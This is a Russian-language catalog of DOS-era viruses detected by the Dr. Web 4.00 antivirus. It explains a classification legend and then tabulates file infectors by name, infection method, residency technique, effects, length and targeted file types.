Жанр: Учеба
Описания вирусов
Каталог вирусов, определяемых и обезвреживаемых Dr. Web 4.00
Файл описания вирусов, определяемых и обезвреживаемых Dr. Web 4.00
Каталог вирусов, определяемых и обезвреживаемых Dr. Web 4.00
В предлагаемом каталоге для каждого вируса приведена информация об его
свойствах. Символьное представление этих свойств полностью повторяет
классификационный код, предложенный Н.Н. Безруковым и Е.В. Касперским.
В качестве основных опознавателей вируса будет указываться его имя и
длина.
Длиной файлового вируса считается длина тела вируса (коды + данные +
стек вируса, если есть) безо всяких добавок. В большинстве случаев она
равна минимальному приращению длин файлов при их заражении. Для
загрузочных вирусов в качестве длины принимается полная длина тела
вируса, т.е. число занимаемых вирусом секторов, умноженное на число
байт в секторе. Файлово-загрузочные вирусы могут иметь два значения
длины - длина вируса при заражении файла и длина вируса при заражении
сектора.
В таблицах каталога встречаются следующие символы:
+ - наличие свойства;
- - отсутствие свойства;
* - имеется дополнительная информация в файле VIRLIST.WEB;
& - одновременное выполнение свойств.
V - вызывает видеоэффекты (Video);
M - вызывает звуковые эффекты (Music);
H - имеет деструктивную функцию (Harm);
Er - содержит ошибку, которая может проявляться как
деструктивная функция (Error);
Ch - изменяет служебную информацию: метку диска, возвращает
неверную версию DOS и т.п. (Change).
Для файловых вирусов (табл. 1):
B - BAT-файлы
.B - .BAT-файлы (файлы с расширением ".BAT");
C - COM-файлы;
.C - .COM-файлы (файлы с расширением ".COM");
E - EXE-файлы;
.E - .EXE-файлы (файлы с расширением ".EXE");
S - SYS-файлы;
O - прочие файлы (Other).
Для загрузочных вирусов (табл. 2):
B - Boot-сектор винчестера;
M - MBR винчестера;
F - Boot-сектор флоппи-дисков.
Для файлово-загрузочных вирусов употребляется полный набор символики.
Например, если для файлового вируса в графе, соответствующей
поражаемым объектам, указано "E C&.C", то это означает, что вирус
поражает только файлы, имеющие либо формат EXE, либо формат COM и
одновременно расширение имени ".COM" (т.е. не поражаются файлы,
которые имеют формат COM и расширение имени ".EXE").
При описании свойств файловых вирусов (табл. 1) используются
специальные знаки.
Место внедрения в файл:
s - в начало (start);
e - в конец (end);
i - в середину (insert).
Метод заражения:
FIND - используя функции FindFirst и FindNext;
INT - перехватывая обращения DOS к файлам;
INFI - используя оба способа.
Способ внедрения в оперативную память (только для резидентных вирусов):
ADDR - записывается в обычную память по фиксированному адресу
без коррекции MCB-блоков;
BUFF - записывается в дисковый буфер;
DOSD - записывается в область данных DOS (адрес 0060:????);
INTB - записывается в таблицу векторов;
KEEP - используя прерывания DOS (INT 21h f.31 или INT 27h);
MCB - оперируя с MCB;
VIDE - записывается в видеопамять.
Длина:
L - длина вируса;
p - длина заражаемого файла увеличивается до значения, кратного
параграфу;
++ - возможно повторное заражение файлов.
File infectors, part 0-9
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦3APA3A (3)¦ - ¦ - ¦ HV ¦1024 ¦IO.SYS+boot¦ s ¦ 0 * ¦
¦4on.1346 ¦INT ¦MCB ¦ - ¦1346 ¦ .E&E * ¦ e ¦ L+p ¦
¦4res.1049 ¦FIND¦ - ¦ - ¦1049 ¦ .C.E * ¦ e ¦ L ¦
¦7thSon.440 ¦FIND¦ - ¦ - ¦440 ¦ .C&C * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part A
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Aga.1500 ¦FIND¦ - ¦ V ¦1500 ¦ .C * ¦ e ¦ L, COMMAND v5.0-0¦
¦Aga.3000 ¦FIND¦ - ¦ V ¦3000 ¦ .C.E&CE* ¦CeEi ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Alex.368 ¦FIND¦ - ¦ V ¦368 ¦ .C * ¦ e ¦ L ¦
¦Alex.599 ¦FIND¦ - ¦ - ¦599 ¦ .C * ¦ e ¦ L ¦
¦Alex.818 ¦FIND¦ - ¦ V ¦818 ¦ .E&E * ¦ e ¦ L ¦
¦Alex.1287 ¦FIND¦ * ¦ S ¦1287 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Alfons.1344 ¦INT ¦KEEP¦ HV ¦1344 ¦ CE * ¦CsEe ¦ C-L+82, E-L+p ¦
¦Alfons.1536 ¦INT ¦KEEP¦ HV ¦1536 ¦ CE * ¦CsEe ¦ C-L+82, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Alia.1023 ¦INT ¦MCB ¦ Er ¦1023 ¦ E * ¦ e ¦ L+(0-7) ¦
¦Alia.1200 ¦INT ¦MCB ¦ Er ¦1023 ¦ E * ¦ e ¦ L+(0-7) ¦
¦Alia.1300 ¦INT ¦MCB ¦ - ¦1300 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Alla.1281 ¦INT ¦MCB ¦ Ch ¦1281 ¦ C+boot* ¦ e ¦ L ¦
¦Alla.1325 ¦INT ¦MCB ¦ Ch ¦1325 ¦ C+boot* ¦ e ¦ L ¦
¦Alla.1407 ¦INT ¦MCB ¦ Ch ¦1407 ¦ C+boot* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Als.335 ¦FIND¦ - ¦ HV ¦335 ¦ .C * ¦ e ¦ L ¦
¦Als.339 ¦FIND¦ - ¦ HV ¦339 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Am.1061 ¦INT ¦MCB ¦ V ¦1061 ¦ .E&E* ¦ e ¦ L+p ¦
¦Am.1281 ¦INT ¦MCB ¦ S ¦1281 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ambulance.796(2)FIND¦ - ¦ VS ¦796 ¦ .C * ¦ e ¦ L ¦
¦Ambulance.2124 ¦INT ¦MCB ¦ VS ¦2124 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Amd.3948 ¦INT ¦MCB ¦ V ¦3948 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Amd.4772 ¦INT ¦MCB ¦ V ¦4772 ¦ CE+boot* ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Amoeba.1392 ¦INT ¦MCB ¦ V ¦1392 ¦ CE ¦ CsEe¦ C-L, E-L+p ¦
¦Amoeba.2367 ¦INT ¦MCB ¦ H ¦2367 ¦ CE ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Amt.3000 ¦INT ¦MCB ¦ - ¦3000 ¦ E ¦ e ¦ L ¦
¦Amt.4000 ¦INT ¦MCB ¦ - ¦4000 ¦ E ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Amz.789 ¦FIND¦ - ¦ H ¦789 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Amz.1100 ¦FIND¦ - ¦ H ¦1100 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Anarchy.469 ¦FIND¦ - ¦ HV ¦469 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦Anarchy.2048(3)¦INT ¦MCB ¦ Er ¦2048 ¦ CE * ¦ i,e ¦ 0 ¦
¦Anarchy.3153 ¦INT ¦MCB ¦ H ¦3153 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Anarchy.6093 ¦INT ¦MCB ¦ H ¦6093 ¦CE+OLE2 DOC¦ e *¦ L ¦
¦Anarchy.6503 ¦INT ¦MCB ¦ V ¦6503 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Anarchy.9382 ¦INT ¦MCB ¦ V ¦9382 ¦ .C.E&CE ¦ e ¦ L+p ¦
¦Anarchy.9594 ¦INT ¦MCB ¦ V ¦9594 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Andromeda.713 ¦INFI¦MCB ¦ - ¦713 ¦ .C ¦ e ¦ L ¦
¦Andromeda.725 ¦INFI¦MCB ¦ - ¦725 ¦ .C ¦ e ¦ L ¦
¦Andromeda.758 ¦INFI¦MCB ¦ H ¦758 ¦ .C * ¦ e ¦ L ¦
¦Andromeda.1024(3INT ¦MCB ¦ H ¦1024 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Andryushka.3536¦INFI¦MCB ¦HVS ¦3536 ¦ .C.E&CE ¦ i ¦ L+(0-128) ¦
¦Andryushka.3568¦INFI¦MCB ¦HVS ¦3568 ¦ .C.E&CE ¦ i ¦ L+(0-128) ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Angel.661 ¦INT ¦UMB ¦ Ch ¦661 ¦ CE * ¦ e ¦ L+p ¦
¦Angel.1571 ¦INT ¦MCB ¦ - ¦1571 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Anti-AVP.959 ¦FIND¦ - ¦ - ¦959 ¦ .C&C ¦ e ¦ L ¦
¦Anti-AVP.1235 ¦INT ¦MCB ¦ - ¦1235 ¦ .C&C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦AntiPascal.400 ¦FIND¦ - ¦ H ¦400 ¦ .C * ¦ e ¦ L ¦
¦AntiPascal.529 ¦FIND¦ - ¦ H ¦529 ¦ .C * ¦ s ¦ L ¦
¦AntiPascal.605 ¦FIND¦ - ¦ H ¦605 ¦ .C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Antiwin.465 ¦FIND¦ - ¦ HV ¦465 ¦ .C&C* ¦ e ¦ L ¦
¦Antiwin.633 ¦INT ¦MCB ¦ H ¦633 ¦ E * ¦ e ¦ L ¦
¦Antiwin.1342 ¦FIND¦ - ¦ HV ¦1342 ¦ .C&C* ¦ e ¦ L ¦
¦Antiwin.2320 ¦INT ¦KEEP¦ VCh¦2320 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Apparition.254 ¦INT ¦VIDE¦ S ¦254 ¦ C * ¦ e ¦ L ¦
¦Apparition.700 ¦INFI¦VIDE¦ Ch ¦700 ¦ .C&C* ¦ e ¦ L ¦
¦Apparition.1248¦INFI¦MCB ¦ - ¦1248 ¦ .C&C* ¦ e ¦ L ¦
¦Apparition.5959¦INFI¦MCB ¦HVEr¦5959 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Arara.1038 ¦FIND¦ - ¦ - ¦1038 ¦ .C&C ¦ e ¦ L+? ¦
¦Arara.1375 ¦FIND¦ - ¦ - ¦1375 ¦ .C&C ¦ e ¦ L+? ¦
¦Arara.1391 ¦FIND¦ - ¦ - ¦1391 ¦ .C&C ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦ArjDrop.402 ¦FIND¦ - ¦ - ¦402 ¦ .ARJ * ¦ i ¦ ? ¦
¦ArjDrop.2821 ¦FIND¦ - ¦ V ¦2821 ¦ .ARJ .RAR*¦ i ¦ ? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ash.280 ¦FIND¦ - ¦ - ¦280 ¦ .C ¦ e ¦ L ¦
¦Ash.712 ¦FIND¦ - ¦ VCh¦712 ¦ .C&C * ¦ e ¦ L ¦
¦Ash.737 ¦FIND¦ - ¦ VCh¦737 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Asch.794 ¦INT ¦MCB ¦ V ¦794 ¦ E * ¦ e ¦ L+p ¦
¦Asch.1121 ¦INT ¦MCB ¦ HV ¦1121 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Assassin.952 ¦INT ¦MCB ¦ H ¦952 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦Assassin.959 ¦INT ¦MCB ¦ H ¦959 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Assignation.426¦INT ¦MCB ¦ Ch ¦426 ¦ E ¦ e ¦ L ¦
¦Assignation.653¦INT ¦MCB ¦ Ch ¦653 ¦ E ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Astra.976 ¦INFI¦MCB ¦ H ¦976 ¦ C ¦ e ¦ L ¦
¦Astra.1010 ¦INFI¦MCB ¦ H ¦1010 ¦ CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Atas.384 ¦FIND¦ - ¦ V ¦384 ¦ .C&C * ¦ e ¦ L ¦
¦Atas.1268 ¦INT ¦MCB ¦ V ¦1268 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Att.394 ¦INT ¦MCB ¦ Er ¦394 ¦ .C ¦ e ¦ L ¦
¦Att.629 ¦FIND¦ - ¦ V ¦629 ¦ .C ¦ e ¦ L+1 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Avatar.DichotomyINT ¦MCB ¦ H ¦963 ¦ .C * ¦ e ¦ 1-296, 2-567 ¦
¦.Narcosis ¦INT ¦MCB ¦ H ¦1431 ¦ CEO+boot*¦ e ¦ L ¦
¦.Positron ¦INT ¦MCB ¦ - ¦512 ¦ C * ¦ i,e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Australian.Grue¦INT ¦MCB ¦ - ¦338 ¦ C * ¦ e ¦ L ¦
¦.Kuang ¦INT ¦MCB ¦ - ¦718 ¦ .E * ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Avl.110 ¦FIND¦ - ¦ - ¦110 ¦ .C ¦ e ¦ L ++ ¦
¦Avl.352 ¦INT ¦INTB¦ Ch ¦352 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Avs.301 ¦FIND¦ - ¦ - ¦301 ¦ .C&C * ¦ e ¦ L ¦
¦Avs.349 ¦INT ¦INTB¦ - ¦349 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Awake.797 ¦INT ¦MCB ¦ V ¦797 ¦ C * ¦ e ¦ L ¦
¦Awake.1099 ¦INT ¦MCB ¦ V ¦1099 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦A1B2.478 ¦FIND¦ - ¦ HV ¦478 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦A&A ¦INT ¦INTB¦ V ¦506 ¦ C * ¦ s ¦ L ¦
¦Aav.8224 ¦INFI¦MCB ¦HVEr¦8224 ¦ .C.E ¦ e ¦ L+p, COMMAND-0 ¦
¦Abal.758 ¦FIND¦ - ¦ V ¦758 ¦ .C ¦ s ¦ L ¦
¦Abbas.5660 ¦INT ¦MCB ¦ V ¦5660 ¦ CE * ¦ e ¦ L ¦
¦Abraxas.1304 ¦FIND¦ - ¦ HVS¦1304 ¦ .E * ¦ s ¦ 0, overwrite ¦
¦Accept.3773 ¦INFI¦KEEP¦ H ¦3773 ¦ .C.E ¦ e ¦ L ¦
¦ACDC.494 ¦INT ¦MCB ¦ - ¦494 ¦ .C ¦ e ¦ L ¦
¦Ace.352 ¦FIND¦ - ¦ - ¦352 ¦ .C&C ¦ e ¦ L ¦
¦Acv.1342 (2)¦INT ¦MCB ¦ V ¦1342 ¦ E * ¦ e ¦ L+p ¦
¦Adder.1467 ¦INT ¦MCB ¦ Er ¦1467 ¦ CE * ¦ e ¦ L+p ¦
¦Ade.1024 ¦FIND¦ - ¦ V ¦1024 ¦ .E&E * ¦ e ¦ L ¦
¦Adin.3026 ¦INT ¦MCB ¦ H ¦3026 ¦ CE ¦ e ¦ L ¦
¦Adolf.475 ¦INT ¦INTB¦ H ¦475 ¦ C * ¦ e ¦ L ¦
¦Aforia.656 ¦INT ¦MCB ¦ V ¦656 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Afv.517 ¦INT ¦MCB ¦ - ¦517 ¦ .C ¦ s ¦ L ¦
¦Agiplan.1536 ¦INT ¦MCB ¦ HV ¦1536 ¦ C * ¦ s ¦ L ¦
¦Ai.1759 ¦INT ¦MCB ¦ H ¦1759 ¦ E * ¦ e ¦ L ¦
¦Aiw.572 ¦INT ¦MCB ¦ - ¦572 ¦ C * ¦ e ¦ L ¦
¦Al.797 ¦INT ¦MCB ¦ - ¦797 ¦ CS * ¦ e ¦ S-L, C-L+5 ¦
¦Alabama.1560(2)¦INFI¦MCB ¦ V ¦1560 ¦ .E&E* ¦ e ¦ L ¦
¦Albania.575 ¦FIND¦ - ¦ - ¦575 ¦ .C&C ¦ e ¦ L ¦
¦Alias.6943 ¦INT ¦MCB ¦ VEr¦6943 ¦ C * ¦ e ¦ L ¦
¦Alive.4000 ¦INT ¦MCB ¦ V ¦4000 ¦ CE * ¦ e ¦ L ¦
¦Aman.10716 ¦INT ¦MCB ¦ V ¦10716¦ E * ¦ e ¦ L+p ¦
¦Amanita.1135 ¦INT ¦MCB ¦ - ¦1135 ¦ CE * ¦ e ¦ L+p ¦
¦AMGorb.4670 ¦INFI¦MCB ¦ VCh¦4670 ¦ .C&C* ¦ e ¦ L+p ¦
¦AmkCvc.1024 ¦INT ¦KEEP¦ V ¦1024 ¦ .C.E* ¦ s ¦ L, companion ¦
¦Amt.4000 ¦INT ¦MCB ¦ - ¦4000 ¦ E ¦ e ¦ L ¦
¦AnalSex.178 ¦FIND¦ - ¦ H ¦178 ¦ .C.E* ¦ s ¦ 0, overwrite ¦
¦Andrey.932 ¦INFI¦MCB ¦ V ¦932 ¦ .C&C* ¦ e ¦ L ¦
¦Angry.393 ¦INT ¦MCB ¦ Er ¦393 ¦ C * ¦ e ¦ L ¦
¦Animals.2400 ¦INT ¦MCB ¦ V ¦2400 ¦ CE ¦ e ¦ L ¦
¦AnsiBomb ¦FIND¦ - ¦ HV ¦281 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦AnsiC.1000 ¦FIND¦ - ¦ HV ¦1000 ¦ .C.E* ¦ e ¦ L ¦
¦Anthrax ¦INFI¦MCB ¦ H ¦1024 ¦ CE+boot*¦ e ¦ L+p ¦
¦AntiCMOS.726 ¦FIND¦ - ¦ H ¦726 ¦ .E&E* ¦ e ¦ L ¦
¦AntiFortran.1110INT ¦MCB ¦ H ¦1110 ¦ E * ¦ e ¦ L+p ¦
¦AntiTrace.2122 ¦INT ¦MCB ¦ V ¦2122 ¦ .C&C* ¦ e ¦ L ¦
¦Areopag.480 ¦INT ¦MCB ¦ Ch ¦480 ¦ C * ¦ e ¦ L ¦
¦AreThree.2048(3)INT ¦MCB ¦ V ¦2048 ¦ CE+boot*¦ e ¦ L+p ¦
¦Arg.1206 ¦INT ¦KEEP¦ V ¦1206 ¦ .C ¦ s ¦ L ¦
¦Arianna.3375 ¦INT ¦MCB ¦ HV ¦3375 ¦ E+boot ¦ e ¦ L ¦
¦ArjVirus ¦FIND¦ - ¦ - ¦5000 ¦ .ARJ * ¦ i ¦ L+? ¦
¦Armagedon.1079 ¦INT ¦KEEP¦ Ch ¦1079 ¦ .C * ¦ s ¦ L ¦
¦Artemiev.2165 ¦INT ¦MCB ¦ V ¦2165 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Arusiek.817 ¦INT ¦MCB ¦ Ch ¦817 ¦ .C.E ¦ e ¦ L ¦
¦AsmVirus.238 ¦FIND¦ - ¦ - ¦238 ¦ *.ASM * ¦ s ¦ L+2188 ¦
¦Asprin.2515 ¦FIND¦ * ¦ - ¦2515 ¦ .C.E * ¦ e ¦ L+p ¦
¦AT.132 ¦INT ¦INTB¦ - ¦132 ¦ C ¦ e ¦ L ¦
¦Auspar.387 ¦INT ¦MCB ¦ - ¦387 ¦ E ¦ e ¦ L+p ¦
¦Aussie.147 ¦FIND¦ - ¦ H ¦147 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦Autumnal.3072 ¦INT ¦KEEP¦ HV ¦3072 ¦ .C.E+boot¦ e ¦ C-L, E-L+p ¦
¦Avalgasil.666 ¦INT ¦MCB ¦ - ¦666 ¦ .E&E * ¦ e ¦ L ¦
¦Avalon.814 ¦INT ¦MCB ¦ HV ¦814 ¦ CE ¦ e ¦ L ¦
¦Avispa.2048 (5)¦INT ¦KEEP¦ VCh¦2048 ¦ E * ¦ e ¦ L+p ¦
¦Avvaddon.1100 ¦INT ¦MCB ¦ V ¦1100 ¦ E * ¦ e ¦ L ¦
¦AWME.AD.1267 ¦FIND¦ - ¦ - ¦1267 ¦ .C&C * ¦ e ¦ L+? ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part B
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Baba.350 ¦INT ¦MCB ¦ - ¦350 ¦ C * ¦ e ¦ L ¦
¦Baba.353 (2)¦INT ¦MCB ¦ - ¦353 ¦ C * ¦ e ¦ L ¦
¦Baba.366 ¦INT ¦MCB ¦ - ¦366 ¦ ? * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Baby.60 ¦INT ¦KEEP¦ - ¦60 ¦ CEO* ¦ s ¦ L, companion ¦
¦Baby.82 ¦INT ¦KEEP¦ - ¦82 ¦ CEO* ¦ s ¦ L, companion ¦
¦Baby.83 ¦INT ¦KEEP¦ - ¦83 ¦ CEO* ¦ s ¦ L, companion ¦
¦Baby.100 ¦INT ¦KEEP¦ - ¦100 ¦ CEO* ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BadBoy.1000 (7)¦INT ¦MCB ¦ - ¦1000 ¦ C ¦ s ¦ L+1 ¦
¦BadBoy.1055 ¦INT ¦MCB ¦ V ¦1055 ¦ C ¦ s ¦ L+1 ¦
¦BadBoy.Rainbow(11INT¦MCB ¦ V ¦1000 ¦ C ¦ s ¦ L+1+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BackFormat.2000¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ (2)¦INT ¦MCB ¦ H ¦2000 ¦ .C.E&CE* ¦ e ¦ L, COMMAND.COM-0 ¦
¦BackFormat.2320¦INT ¦MCB ¦ H ¦2320 ¦ .C.E&CE* ¦ e ¦ L+p,COMMAND.COM-0¦
¦BackFormat.2345¦INT ¦MCB ¦ H ¦2345 ¦ .C.E&CE* ¦ e ¦ L+p,COMMAND.COM-0¦
¦BackFormat.2381¦INT ¦MCB ¦ H ¦2381 ¦ .C.E&CE* ¦ e ¦ L+p,COMMAND.COM-0¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BadSectors.3422¦INT ¦MCB ¦ Ch ¦3422 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦BadSectors.3428¦INT ¦MCB ¦ Ch ¦3428 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦BadSectors.3627¦INT ¦MCB ¦ Ch ¦3627 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BAME.Demo ¦INT ¦MCB ¦ Ch ¦2616 ¦ .C * ¦ e ¦ L+500 ¦
¦.Saboteur ¦INT ¦MCB ¦ HV ¦4020 ¦ .C * ¦ e ¦ L+500 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Baobab.731 ¦INT ¦MCB ¦ - ¦731 ¦ E ¦ e ¦ L+p ¦
¦Baobab.1635 ¦INT ¦ADDR¦ - ¦1635 ¦ E * ¦ e ¦ L+p ¦
¦Baobab.2304 ¦INT ¦ADDR¦ - ¦2304 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Baran.3294 ¦INT ¦MCB ¦ V ¦3294 ¦ CE * ¦ e ¦ L ¦
¦Baran.4968 ¦INT ¦MCB ¦ H ¦4968 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Barrotes.1303 ¦INT ¦MCB ¦ Ch ¦1303 ¦ CE * ¦ e ¦ L ¦
¦Barrotes.1310 ¦INT ¦MCB ¦ HV ¦1310 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BAT.282 ¦FIND¦ - ¦ - ¦282 ¦ VIRUS.BAT*¦ s ¦ L ¦
¦.Batalia.491 ¦FIND¦ - ¦ - ¦491 ¦ .B * ¦ s ¦ L ¦
¦.Batalia.2011 ¦FIND¦ - ¦ - ¦2011 ¦ .B * ¦ s ¦ L ¦
¦.Batman ¦INT ¦KEEP¦ - ¦186 ¦ B * ¦ s ¦ L ++ ¦
¦.BatVir ¦FIND¦ - ¦ - ¦2097 ¦ .B * ¦ e ¦ L ++ ¦
¦.Ditty ¦FIND¦ - ¦ - ¦404 ¦ .B * ¦ s ¦ L ¦
¦.Highjaq ¦FIND¦ * ¦ Ch ¦1400 ¦.B,ARJ-arc*¦ s,e ¦ L ¦
¦.Naive ¦INT ¦KEEP¦ V ¦4894 ¦ .B * ¦ s ¦ L ¦
¦.Pot ¦FIND¦ - ¦ - ¦1638 ¦ .B * ¦ e ¦ L ¦
¦.Skul ¦FIND¦ - ¦ H ¦1100 ¦ .B * ¦ e ¦ L ¦
¦.Winstart.296 ¦INT ¦HMA ¦ - ¦296 ¦WINSTART.BAT s* ¦ L ¦
¦.Winstart.297 ¦INT ¦HMA ¦ - ¦297 ¦WINSTART.BAT s* ¦ L ¦
¦.Xop.367 ¦FIND¦ - ¦ - ¦367 ¦ .B * ¦ e ¦ L ¦
¦.Xop.850 ¦FIND¦ - ¦ - ¦850 ¦ .B * ¦ e ¦ L ¦
¦.Zep ¦FIND¦ - ¦ - ¦226 ¦ .B * ¦ e ¦ L ¦
¦.Zop (2)¦FIND¦ - ¦ - ¦1638 ¦ .B * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Batman.237 ¦INT ¦INTB¦ - ¦237 ¦ C * ¦ e ¦ L ¦
¦Batman.2844 ¦INFI¦MCB ¦ Er ¦2844 ¦ .E&E * ¦ e ¦ L+p ¦
¦Batman.3372 ¦INT ¦KEEP¦ S ¦3372 ¦ .E ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Beast.512 (6)¦INT ¦BUFF¦ - ¦512 ¦ .C ¦ s ¦ 0 ¦
¦Beast.Zver ¦INT ¦MCB ¦ H ¦689 ¦ C * ¦ s ¦ 0 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Bebe.486 ¦FIND¦ - ¦ Ch ¦486 ¦ .C ¦ e ¦ L ¦
¦Bebe.1004 ¦FIND¦ADDR¦ V ¦1004 ¦ .C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Beda.337 ¦INT ¦MCB ¦ - ¦337 ¦ C * ¦ e ¦ L+p ¦
¦Beda.338 ¦INT ¦INTB¦ - ¦338 ¦ E * ¦ e ¦ L ¦
¦Beda.352 ¦INT ¦INTB¦ - ¦352 ¦ E * ¦ e ¦ L ¦
¦Beda.883 ¦INT ¦MCB ¦ V ¦883 ¦ C * ¦ e ¦ L+p ¦
¦Beda.1301 ¦INT ¦MCB ¦ V ¦1301 ¦ C * ¦ e ¦ L+p ¦
¦Beda.1530 ¦INT ¦MCB ¦ HCh¦1530 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Beer.645 ¦INT ¦MCB ¦ V ¦645 ¦ C * ¦ e ¦ L ¦
¦Beer.2473 ¦INT ¦MCB ¦ HVS¦2473 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦Beer.2620 ¦INT ¦MCB ¦ VS ¦2620 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦Beer.2794 ¦INT ¦MCB ¦ VS ¦2794 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦Beer.2850 ¦INT ¦MCB ¦ VS ¦2850 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦Beer.2984 ¦INT ¦MCB ¦ VS ¦2984 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦Beer.3047 ¦INFI¦MCB ¦ MVH¦3047 ¦ .C.E&CE ¦ e ¦ C-L, E-L+259+p ¦
¦Beer.3164 (2)¦INT ¦MCB ¦ HVS¦3164 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦Beer.3192 (3)¦INT ¦MCB ¦ HVS¦3192 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦Beer.3307 ¦INT ¦MCB ¦ HVS¦3307 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
